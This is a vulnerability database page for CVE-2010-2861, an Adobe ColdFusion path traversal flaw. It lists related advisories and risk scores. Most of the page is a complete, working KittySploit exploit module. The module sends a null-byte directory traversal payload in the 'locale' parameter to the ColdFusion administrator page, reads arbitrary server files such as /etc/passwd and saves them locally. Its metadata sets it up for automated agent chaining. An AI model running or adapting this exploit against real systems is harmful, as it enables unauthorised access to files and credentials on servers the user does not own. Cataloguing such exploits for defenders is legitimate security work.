Adobe ColdFusion - locale File Read (CVE-2010-2861)
| Reporter | Title | Published | Views | Family All 42 |
|---|---|---|---|---|
| Adobe ColdFusion Directory Traversal Vulnerability | 14 Aug 201000:00 | – | zdt | |
| Adobe ColdFusion - Directory Traversal | 17 Mar 201100:00 | – | zdt | |
| Exploit for Path Traversal in Adobe Coldfusion | 8 Oct 202619:42 | – | githubexploit | |
| CVE-2010-2861 | 11 Aug 201000:00 | – | attackerkb | |
| The vulnerability of the ColdFusion software platform arises from incorrect path name restrictions for restricted access directories, allowing attackers to read arbitrary files. | 8 Feb 202300:00 | – | bdu_fstec | |
| Immunity Canvas: CF_DIRECTORY_TRAVERSAL | 11 Aug 201018:47 | – | canvas | |
| CVE-2010-2861 | 14 Aug 201000:00 | – | circl | |
| Adobe ColdFusion Directory Traversal Vulnerability | 25 Mar 202200:00 | – | cisa_kev | |
| CISA and Partners Release Advisory on Ghost (Cring) Ransomware | 19 Feb 202512:00 | – | cisa | |
| Adobe ColdFusion 'locale' Parameter Directory Traversal | 16 Aug 201000:00 | – | nessus |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Reads arbitrary files via CVE-2010-2861 locale parameter POST to CFIDE administrator pages."""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.protocols.http.lfi import Lfi
class Module(Auxiliary, Http_client, Lfi):
__info__ = {
'name': 'Adobe ColdFusion - locale File Read (CVE-2010-2861)',
'description': (
'Reads arbitrary files via CVE-2010-2861 locale parameter POST to CFIDE administrator pages.'
),
'author': ['KittySploit Team'],
'cve': ['CVE-2010-2861'],
'platform': Platform.MULTI,
'references': [
'https://nvd.nist.gov/vuln/detail/CVE-2010-2861',
],
'tags': ['coldfusion', 'adobe', 'lfi', 'file-read', 'unauth', 'kev', 'cve-2010-2861'],
'agent': {
'risk': 'intrusive',
'effects': ['data_exfiltration'],
'expected_requests': 1,
'reversible': True,
'approval_required': True,
'produces': ['risk_signals'],
'cost': 1.2,
'noise': 0.3,
'value': 1.0,
'requires': {
'min_endpoints': 0, 'min_params': 0,
'tech_hints_any': [], 'tech_hints_all': [],
'specializations_any': [], 'risk_signals_any': [],
'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
'confidence_min': {}, 'confidence_min_any': {},
'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [{'capability': 'file_read', 'from_detail': ''}],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['scanner/http/cve_2010_2861_detect'],
},
},
}
file_read = OptString('/etc/passwd', 'Absolute remote file path to read', required=True)
output_file = OptString('', 'Local file to write retrieved content', required=False)
output_limit = OptInteger(12000, 'Max chars to print when output_file empty (0=full)', required=False, advanced=True)
path = OptString('/CFIDE/administrator/enter.cfm', 'ColdFusion path accepting locale', required=False)
def execute(self, file_path: str) -> str:
remote = str(file_path or '').strip().lstrip('/')
path = str(self.path or '/CFIDE/administrator/enter.cfm')
data = f'locale=%00../../../../../../../../../../../{remote}%00a'
r = self.http_request(
method='POST', path=path, data=data,
headers={'Content-Type': 'application/x-www-form-urlencoded'},
allow_redirects=False,
)
return (r.text or '') if r else ''
def run(self):
target = str(self.file_read or '/etc/passwd')
print_status(f'Reading {target} ...')
body = self.execute(target)
if not body:
print_error('Empty response')
return False
out = str(self.output_file or '').strip()
if out:
with open(out, 'w', encoding='utf-8', errors='replace') as fh:
fh.write(body)
print_success(f'Wrote {len(body)} bytes to {out}')
else:
limit = int(self.output_limit or 0)
print_info(body if limit <= 0 else body[:limit])
return True
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10 Aug 2026 06:19Current
8.6High risk
Vulners AI Score8.6
CVSS 27.5
CVSS 3.17.5 - 9.8
EPSS0.99747
SSVC